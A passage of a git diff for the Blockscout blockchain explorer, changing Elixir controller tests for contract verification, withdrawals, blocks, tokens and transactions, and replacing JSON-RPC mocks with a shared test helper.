"0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae11461005a575b600080fd5b600054604080516001600160a01b039092168252519081900360200190f35b61006d61006836600461011e565b61006f565b005b6000546001600160a01b031633146100c35760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b604482015260640160405180910390fd5b600080546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561013057600080fd5b81356001600160a01b038116811461014757600080fd5b939250505056fea26469706673582212206570365ac95ba46c8d0928763befe51fb6fc8a93499f7dabfda28d18ee673a3e64736f6c63430008110033" + + input = + "0x608060405234801561001057600080fd5b5060405161026438038061026483398101604081905261002f91610076565b600080546001600160a01b0319163390811782556040519091907f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a735908290a35050506100d1565b60008060006060848603121561008b57600080fd5b83516001600160701b03811681146100a257600080fd5b60208501519093506001600160a01b03811681146100bf57600080fd5b80925050604084015190509250925092565b610184806100e06000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae11461005a575b600080fd5b600054604080516001600160a01b039092168252519081900360200190f35b61006d61006836600461011e565b61006f565b005b6000546001600160a01b031633146100c35760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b604482015260640160405180910390fd5b600080546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561013057600080fd5b81356001600160a01b038116811461014757600080fd5b939250505056fea26469706673582212206570365ac95ba46c8d0928763befe51fb6fc8a93499f7dabfda28d18ee673a3e64736f6c6343000811003300000000000000000000000000000000000000000000000000000002d2982db3000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e666f6f0000000000000000000000000000000000000000000000000000000000" + + contract_address = insert(:contract_address, contract_code: bytecode) + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: input + ) + |> with_block(status: :ok) + + topic = "addresses:#{contract_address.hash}" + + {:ok, _reply, _socket} = + UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + multipart = + Multipart.new() + |> Multipart.add_field("compiler_version", "v0.8.17+commit.8df45f5f") + |> Multipart.add_file_content(json, "name.json", + name: "files[0]", + headers: [{"content-type", "application/json"}] + ) + + body = + multipart + |> Multipart.body() + |> Enum.to_list() + |> to_str() + + [{name, value}] = Multipart.headers(multipart) + + request = + post( + conn + |> Plug.Conn.put_req_header( + name, + value + ), + "/api/v2/smart-contracts/#{contract_address.hash}/verification/via/standard-input", + body + ) + + assert %{"message" => "Smart-contract verification started"} = json_response(request, 200) + + assert_receive %Phoenix.Socket.Message{ + payload: %{status: "success"}, + event: "verification_result", + topic: ^topic + }, + :timer.seconds(300) + + Application.put_env(:explorer, :solc_bin_api_url, before) + end + end + + defp to_str(list) when is_list(list) do + Enum.reduce(list, "", fn x, acc -> acc <> to_str(x) end) + end + + defp to_str(str) when is_binary(str) do + str + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/withdrawal_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/withdrawal_controller_test.exs new file mode 100644 index 000000000000..539da68d0bc5 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/withdrawal_controller_test.exs @@ -0,0 +1,66 @@ +defmodule BlockScoutWeb.API.V2.WithdrawalControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Chain.Withdrawal + + describe "/withdrawals" do + test "empty lists", %{conn: conn} do + request = get(conn, "/api/v2/withdrawals") + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "get withdrawal", %{conn: conn} do + block = insert(:withdrawal) + + request = get(conn, "/api/v2/withdrawals") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(block, Enum.at(response["items"], 0)) + end + + test "can paginate", %{conn: conn} do + withdrawals = + 51 + |> insert_list(:withdrawal) + + request = get(conn, "/api/v2/withdrawals") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/withdrawals", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, withdrawals) + end + end + + describe "/withdrawals/counters" do + test "fetch counters", %{conn: conn} do + request = get(conn, "/api/v2/withdrawals/counters") + + assert %{ + "withdrawals_count" => _, + "withdrawals_sum" => _ + } = json_response(request, 200) + end + end + + defp compare_item(%Withdrawal{} = withdrawal, json) do + assert withdrawal.index == json["index"] + end + + defp check_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/block_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/block_controller_test.exs index b407e0a44c32..0ebc98bfc98a 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/block_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/block_controller_test.exs @@ -98,12 +98,7 @@ defmodule BlockScoutWeb.BlockControllerTest do conn = get(conn, blocks_path(conn, :index), %{"type" => "JSON"}) - expected_path = - blocks_path(conn, :index, %{ - block_number: number, - block_type: "Block", - items_count: "50" - }) + expected_path = blocks_path(conn, :index, block_number: number, block_type: "Block", items_count: "50") assert Map.get(json_response(conn, 200), "next_page_path") == expected_path end @@ -134,7 +129,7 @@ defmodule BlockScoutWeb.BlockControllerTest do test "returns all reorgs", %{conn: conn} do 4 |> insert_list(:block, consensus: false) - |> Enum.map(& &1.hash) + |> Enum.each(fn b -> insert(:block, number: b.number, consensus: true) end) conn = get(conn, reorg_path(conn, :reorg), %{"type" => "JSON"}) @@ -146,7 +141,7 @@ defmodule BlockScoutWeb.BlockControllerTest do test "does not include blocks or uncles", %{conn: conn} do 4 |> insert_list(:block, consensus: false) - |> Enum.map(& &1.hash) + |> Enum.each(fn b -> insert(:block, number: b.number, consensus: true) end) insert(:block) uncle = insert(:block, consensus: false) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/block_transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/block_transaction_controller_test.exs index d76a2fcd1c6a..a4c369877ff1 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/block_transaction_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/block_transaction_controller_test.exs @@ -1,7 +1,7 @@ defmodule BlockScoutWeb.BlockTransactionControllerTest do use BlockScoutWeb.ConnCase - import BlockScoutWeb.WebRouter.Helpers, only: [block_transaction_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [block_transaction_path: 3] describe "GET index/2" do test "with invalid block number", %{conn: conn} do @@ -197,6 +197,8 @@ defmodule BlockScoutWeb.BlockTransactionControllerTest do defp assert_block_above_tip(conn) do assert conn |> html_response(404) + |> Floki.parse_fragment() + |> elem(1) |> Floki.find(~S|.error-descr|) |> Floki.text() |> String.trim() == "Easy Cowboy! This block does not exist yet!" diff --git a/apps/block_scout_web/test/block_scout_web/controllers/block_withdrawal_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/block_withdrawal_controller_test.exs new file mode 100644 index 000000000000..ef1e2222a7e4 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/block_withdrawal_controller_test.exs @@ -0,0 +1,141 @@ +defmodule BlockScoutWeb.BlockWithdrawalControllerTest do + use BlockScoutWeb.ConnCase + + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [block_withdrawal_path: 3] + + describe "GET index/2" do + test "with invalid block number", %{conn: conn} do + conn = get(conn, block_withdrawal_path(conn, :index, "unknown")) + + assert html_response(conn, 404) + end + + test "with valid block number below the tip", %{conn: conn} do + insert(:block, number: 666) + + conn = get(conn, block_withdrawal_path(conn, :index, "1")) + + assert html_response(conn, 404) =~ "This block has not been processed yet." + end + + test "with valid block number above the tip", %{conn: conn} do + block = insert(:block) + + conn = get(conn, block_withdrawal_path(conn, :index, block.number + 1)) + + assert_block_above_tip(conn) + end + + test "returns withdrawals for the block", %{conn: conn} do + block = insert(:block, withdrawals: insert_list(3, :withdrawal)) + + # to check that we can render a block overview + get(conn, block_withdrawal_path(BlockScoutWeb.Endpoint, :index, block)) + conn = get(conn, block_withdrawal_path(BlockScoutWeb.Endpoint, :index, block), %{type: "JSON"}) + + assert json_response(conn, 200) + + {:ok, %{"items" => items}} = + conn.resp_body + |> Poison.decode() + + assert Enum.count(items) == 3 + end + + test "non-consensus block number without consensus blocks is treated as consensus number above tip", %{conn: conn} do + block = insert(:block, consensus: false) + + transaction = insert(:transaction) + insert(:transaction_fork, hash: transaction.hash, uncle_hash: block.hash) + + conn = get(conn, block_withdrawal_path(conn, :index, block.number)) + + assert_block_above_tip(conn) + end + + test "non-consensus block number above consensus block number is treated as consensus number above tip", %{ + conn: conn + } do + consensus_block = insert(:block, consensus: true, number: 1) + block = insert(:block, consensus: false, number: consensus_block.number + 1) + + transaction = insert(:transaction) + insert(:transaction_fork, hash: transaction.hash, uncle_hash: block.hash) + + conn = get(conn, block_withdrawal_path(conn, :index, block.number)) + + assert_block_above_tip(conn) + end + + test "does not return transactions for invalid block hash", %{conn: conn} do + conn = get(conn, block_withdrawal_path(conn, :index, "0x0")) + + assert html_response(conn, 404) + end + + test "with valid not-indexed hash", %{conn: conn} do + conn = get(conn, block_withdrawal_path(conn, :index, block_hash())) + + assert html_response(conn, 404) =~ "Block not found, please try again later." + end + + test "does not return unrelated transactions", %{conn: conn} do + insert(:withdrawal) + block = insert(:block) + + conn = get(conn, block_withdrawal_path(BlockScoutWeb.Endpoint, :index, block), %{type: "JSON"}) + + assert json_response(conn, 200) + + {:ok, %{"items" => items}} = + conn.resp_body + |> Poison.decode() + + assert Enum.empty?(items) + end + + test "next_page_path exists if not on last page", %{conn: conn} do + block = insert(:block, withdrawals: insert_list(60, :withdrawal)) + + conn = get(conn, block_withdrawal_path(BlockScoutWeb.Endpoint, :index, block), %{type: "JSON"}) + + {:ok, %{"next_page_path" => next_page_path}} = + conn.resp_body + |> Poison.decode() + + assert next_page_path + end + + test "next_page_path is empty if on last page", %{conn: conn} do + block = insert(:block, withdrawals: insert_list(1, :withdrawal)) + + conn = get(conn, block_withdrawal_path(BlockScoutWeb.Endpoint, :index, block), %{type: "JSON"}) + + {:ok, %{"next_page_path" => next_page_path}} = + conn.resp_body + |> Poison.decode() + + refute next_page_path + end + + test "displays miner primary address name", %{conn: conn} do + miner_name = "POA Miner Pool" + %{address: miner_address} = insert(:address_name, name: miner_name, primary: true) + + block = insert(:block, miner: miner_address, miner_hash: nil) + + conn = get(conn, block_withdrawal_path(conn, :index, block)) + assert html_response(conn, 200) =~ miner_name + end + end + + defp assert_block_above_tip(conn) do + assert conn + |> html_response(404) + |> Floki.parse_fragment() + |> elem(1) + |> Floki.find(~S|.error-descr|) + |> Floki.text() + |> String.trim() == "Easy Cowboy! This block does not exist yet!" + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/chain_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/chain_controller_test.exs index 246ab7f7b253..5cf77df9f45b 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/chain_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/chain_controller_test.exs @@ -1,20 +1,21 @@ defmodule BlockScoutWeb.ChainControllerTest do use BlockScoutWeb.ConnCase, - # ETS table is shared in `Explorer.Counters.AddressesCounter` + # ETS table is shared in `Explorer.Chain.Cache.Counters.AddressesCount` async: false - import BlockScoutWeb.WebRouter.Helpers, only: [chain_path: 2, block_path: 3, transaction_path: 3, address_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, + only: [chain_path: 2, block_path: 3, transaction_path: 3, address_path: 3] alias Explorer.Chain.Block - alias Explorer.Counters.AddressesCounter + alias Explorer.Chain.Cache.Counters.AddressesCount setup do Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Uncles.child_id()) Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Uncles.child_id()) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() :ok end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/metrics_contoller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/metrics_contoller_test.exs new file mode 100644 index 000000000000..e9ea7e7e55b4 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/metrics_contoller_test.exs @@ -0,0 +1,11 @@ +defmodule BlockScoutWeb.MetricsControllerTest do + use BlockScoutWeb.ConnCase + + describe "/metrics page" do + test "renders /metrics page", %{conn: conn} do + conn = get(conn, "/metrics") + + assert text_response(conn, 200) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/pending_transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/pending_transaction_controller_test.exs index b19bec2520fa..c8e57ddb6453 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/pending_transaction_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/pending_transaction_controller_test.exs @@ -2,7 +2,7 @@ defmodule BlockScoutWeb.PendingTransactionControllerTest do use BlockScoutWeb.ConnCase alias Explorer.Chain.{Hash, Transaction} - import BlockScoutWeb.WebRouter.Helpers, only: [pending_transaction_path: 2, pending_transaction_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [pending_transaction_path: 2, pending_transaction_path: 3] describe "GET index/2" do test "returns no transactions that are in a block", %{conn: conn} do diff --git a/apps/block_scout_web/test/block_scout_web/controllers/recent_transactions_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/recent_transactions_controller_test.exs index 0a2267f18c9d..e0d2e56f5bb5 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/recent_transactions_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/recent_transactions_controller_test.exs @@ -1,7 +1,7 @@ defmodule BlockScoutWeb.RecentTransactionsControllerTest do use BlockScoutWeb.ConnCase - import BlockScoutWeb.WebRouter.Helpers, only: [recent_transactions_path: 2] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [recent_transactions_path: 2] alias Explorer.Chain.Hash diff --git a/apps/block_scout_web/test/block_scout_web/controllers/smart_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/smart_contract_controller_test.exs index 17148418896b..c666292931ef 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/smart_contract_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/smart_contract_controller_test.exs @@ -4,7 +4,9 @@ defmodule BlockScoutWeb.SmartContractControllerTest do import Mox alias Explorer.Chain.{Address, Hash} - alias Explorer.Factory + alias Explorer.{Factory, TestHelper} + + setup :set_mox_from_context setup :verify_on_exit! @@ -47,7 +49,6 @@ defmodule BlockScoutWeb.SmartContractControllerTest do insert(:smart_contract, address_hash: token_contract_address.hash, contract_code_md5: "123") - blockchain_get_code_mock() blockchain_get_function_mock() path = @@ -85,7 +86,8 @@ defmodule BlockScoutWeb.SmartContractControllerTest do contract_code_md5: "123" ) - blockchain_get_code_mock() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() path = smart_contract_path(BlockScoutWeb.Endpoint, :index, @@ -105,6 +107,7 @@ defmodule BlockScoutWeb.SmartContractControllerTest do test "lists [] proxy read only functions if no verified eip-1967 implementation" do token_contract_address = insert(:contract_address) + implementation_address = insert(:address) insert(:smart_contract, address_hash: token_contract_address.hash, @@ -122,46 +125,8 @@ defmodule BlockScoutWeb.SmartContractControllerTest do contract_code_md5: "123" ) - blockchain_get_code_mock() - blockchain_get_implementation_mock() - - path = - smart_contract_path(BlockScoutWeb.Endpoint, :index, - hash: token_contract_address.hash, - type: :proxy, - action: :read - ) - - conn = - build_conn() - |> put_req_header("x-requested-with", "xmlhttprequest") - |> get(path) - - assert conn.status == 200 - assert conn.assigns.read_only_functions == [] - end - - test "lists [] proxy read only functions if no verified eip-1967 implementation and eth_getStorageAt returns not normalized address hash" do - token_contract_address = insert(:contract_address) - - insert(:smart_contract, - address_hash: token_contract_address.hash, - abi: [ - %{ - "type" => "function", - "stateMutability" => "nonpayable", - "payable" => false, - "outputs" => [%{"type" => "address", "name" => "", "internalType" => "address"}], - "name" => "implementation", - "inputs" => [], - "constant" => false - } - ], - contract_code_md5: "123" - ) - - blockchain_get_code_mock() - blockchain_get_implementation_mock_2() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address.hash) path = smart_contract_path(BlockScoutWeb.Endpoint, :index, @@ -240,7 +205,6 @@ defmodule BlockScoutWeb.SmartContractControllerTest do address = insert(:contract_address) smart_contract = insert(:smart_contract, address_hash: address.hash, contract_code_md5: "123") - blockchain_get_code_mock() blockchain_get_function_mock() path = @@ -278,74 +242,4 @@ defmodule BlockScoutWeb.SmartContractControllerTest do end ) end - - defp blockchain_get_code_mock do - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn [%{id: id, method: "eth_getCode", params: [_, _]}], _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x0"}]} - end - ) - end - - defp blockchain_get_implementation_mock do - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn %{id: _, method: _, params: [_, _, _]}, _options -> - {:ok, "0xcebb2CCCFe291F0c442841cBE9C1D06EED61Ca02"} - end - ) - end - - defp blockchain_get_implementation_mock_2 do - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn %{id: _, method: _, params: [_, _, _]}, _options -> - {:ok, "0x000000000000000000000000cebb2CCCFe291F0c442841cBE9C1D06EED61Ca02"} - end - ) - end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance/transfer_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance/transfer_controller_test.exs index 8f4a49cabbe0..d2a3f0e29f94 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance/transfer_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance/transfer_controller_test.exs @@ -3,11 +3,9 @@ defmodule BlockScoutWeb.Tokens.Instance.TransferControllerTest do describe "GET token-transfers/2" do test "fetches the instance", %{conn: conn} do - contract_address = insert(:address) + token = insert(:token, type: "ERC-721") - insert(:token, contract_address: contract_address) - - contract_address_hash = contract_address.hash + contract_address_hash = token.contract_address_hash token_id = Decimal.new(10) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance_controller_test.exs index 7ced36daf46d..65acc5bb9e2f 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/tokens/instance_controller_test.exs @@ -3,43 +3,23 @@ defmodule BlockScoutWeb.Tokens.InstanceControllerTest do describe "GET show/2" do test "redirects with valid params", %{conn: conn} do - contract_address = insert(:address) + token = insert(:token, type: "ERC-721") - insert(:token, contract_address: contract_address) + contract_address_hash = token.contract_address_hash token_id = 10 - insert(:token_transfer, - from_address: contract_address, - token_contract_address: contract_address, + insert(:token_instance, + token_contract_address_hash: contract_address_hash, token_id: token_id ) - conn = get(conn, token_instance_path(BlockScoutWeb.Endpoint, :show, to_string(contract_address.hash), token_id)) - - assert conn.status == 302 - end - - test "works for ERC-1155 tokens", %{conn: conn} do - contract_address = insert(:address) - - insert(:token, contract_address: contract_address) - - token_id = 10 - - insert(:token_transfer, - from_address: contract_address, - token_contract_address: contract_address, - token_id: nil, - token_ids: [token_id] - ) - - conn = get(conn, token_instance_path(BlockScoutWeb.Endpoint, :show, to_string(contract_address.hash), token_id)) + conn = get(conn, token_instance_path(BlockScoutWeb.Endpoint, :show, to_string(contract_address_hash), token_id)) assert conn.status == 302 assert get_resp_header(conn, "location") == [ - "/token/#{contract_address.hash}/instance/#{token_id}/token-transfers" + "/token/#{contract_address_hash}/instance/#{token_id}/token-transfers" ] end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/tokens/inventory_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/tokens/inventory_controller_test.exs index e1591a4db91b..e15f85569214 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/tokens/inventory_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/tokens/inventory_controller_test.exs @@ -55,7 +55,7 @@ defmodule BlockScoutWeb.Tokens.InventoryControllerTest do transaction: transaction, token_contract_address: token.contract_address, token: token, - token_id: i + 1000 + token_ids: [i + 1000] ) insert( @@ -94,7 +94,7 @@ defmodule BlockScoutWeb.Tokens.InventoryControllerTest do transaction: transaction, token_contract_address: token.contract_address, token: token, - token_id: i + 1000 + token_ids: [i + 1000] ) insert( @@ -126,7 +126,7 @@ defmodule BlockScoutWeb.Tokens.InventoryControllerTest do transaction: transaction, token_contract_address: token.contract_address, token: token, - token_id: 1000 + token_ids: [1000] ) conn = get(conn, token_inventory_path(conn, :index, token.contract_address_hash), %{type: "JSON"}) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/tokens/read_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/tokens/read_contract_controller_test.exs index ab5ba16f9c5d..b7af01531e21 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/tokens/read_contract_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/tokens/read_contract_controller_test.exs @@ -3,6 +3,10 @@ defmodule BlockScoutWeb.Tokens.ContractControllerTest do import Mox + alias Explorer.TestHelper + + setup :verify_on_exit! + describe "GET index/3" do test "with invalid address hash", %{conn: conn} do conn = get(conn, token_read_contract_path(BlockScoutWeb.Endpoint, :index, "invalid_address")) @@ -53,7 +57,8 @@ defmodule BlockScoutWeb.Tokens.ContractControllerTest do token: token ) - get_eip1967_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() conn = get(conn, token_read_contract_path(BlockScoutWeb.Endpoint, :index, token.contract_address_hash)) @@ -61,44 +66,4 @@ defmodule BlockScoutWeb.Tokens.ContractControllerTest do assert token.contract_address_hash == conn.assigns.token.contract_address_hash end end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/transaction_controller_test.exs index c94d095084c3..99d09fcb44a8 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/transaction_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/transaction_controller_test.exs @@ -1,7 +1,7 @@ defmodule BlockScoutWeb.TransactionControllerTest do use BlockScoutWeb.ConnCase - import BlockScoutWeb.WebRouter.Helpers, + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [transaction_path: 3] alias Explorer.Chain.Transaction @@ -127,7 +127,7 @@ defmodule BlockScoutWeb.TransactionControllerTest do assert html_response(conn, 422) end - test "no redirect from tx page", %{conn: conn} do + test "no redirect from transaction page", %{conn: conn} do transaction = insert(:transaction) conn = get(conn, transaction_path(BlockScoutWeb.Endpoint, :show, transaction)) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/transaction_internal_transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/transaction_internal_transaction_controller_test.exs index 4969db368530..2d59ad7de257 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/transaction_internal_transaction_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/transaction_internal_transaction_controller_test.exs @@ -1,12 +1,10 @@ defmodule BlockScoutWeb.TransactionInternalTransactionControllerTest do use BlockScoutWeb.ConnCase - import Mox - - import BlockScoutWeb.WebRouter.Helpers, only: [transaction_internal_transaction_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [transaction_internal_transaction_path: 3] alias Explorer.Chain.InternalTransaction - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token describe "GET index/3" do test "with missing transaction", %{conn: conn} do @@ -75,11 +73,6 @@ defmodule BlockScoutWeb.TransactionInternalTransactionControllerTest do end test "includes USD exchange rate value for address in assigns", %{conn: conn} do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{id: _id, method: "net_version", params: []}, _options -> - {:ok, "100"} - end) - transaction = insert(:transaction) conn = get(conn, transaction_internal_transaction_path(BlockScoutWeb.Endpoint, :index, transaction.hash)) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/transaction_log_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/transaction_log_controller_test.exs index fc9ced3bba5f..da7d6324c24e 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/transaction_log_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/transaction_log_controller_test.exs @@ -1,12 +1,10 @@ defmodule BlockScoutWeb.TransactionLogControllerTest do use BlockScoutWeb.ConnCase - import Mox - - import BlockScoutWeb.WebRouter.Helpers, only: [transaction_log_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [transaction_log_path: 3] alias Explorer.Chain.Address - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token describe "GET index/2" do test "with invalid transaction hash", %{conn: conn} do @@ -157,11 +155,6 @@ defmodule BlockScoutWeb.TransactionLogControllerTest do end test "includes USD exchange rate value for address in assigns", %{conn: conn} do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{id: _id, method: "net_version", params: []}, _options -> - {:ok, "100"} - end) - transaction = insert(:transaction) conn = get(conn, transaction_log_path(BlockScoutWeb.Endpoint, :index, transaction.hash)) @@ -170,11 +163,6 @@ defmodule BlockScoutWeb.TransactionLogControllerTest do end test "loads for transactions that created a contract", %{conn: conn} do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{id: _id, method: "net_version", params: []}, _options -> - {:ok, "100"} - end) - contract_address = insert(:contract_address) transaction = diff --git a/apps/block_scout_web/test/block_scout_web/controllers/transaction_state_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/transaction_state_controller_test.exs new file mode 100644 index 000000000000..3e91da15a317 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/transaction_state_controller_test.exs @@ -0,0 +1,264 @@ +defmodule BlockScoutWeb.TransactionStateControllerTest do + use BlockScoutWeb.ConnCase + + import Mox + + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [transaction_state_path: 3] + import BlockScoutWeb.WeiHelper, only: [format_wei_value: 2] + import EthereumJSONRPC, only: [integer_to_quantity: 1] + alias Explorer.Chain.Wei + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + alias Explorer.Chain.Cache.Counters.{AddressesCount, AverageBlockTime} + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + + setup :set_mox_global + + setup :verify_on_exit! + + setup do + mocked_json_rpc_named_arguments = [ + transport: EthereumJSONRPC.Mox, + transport_options: [] + ] + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + start_supervised!(AverageBlockTime) + start_supervised!(AddressesCount) + + configuration = Application.get_env(:indexer, Indexer.Fetcher.OnDemand.CoinBalance.Supervisor) + 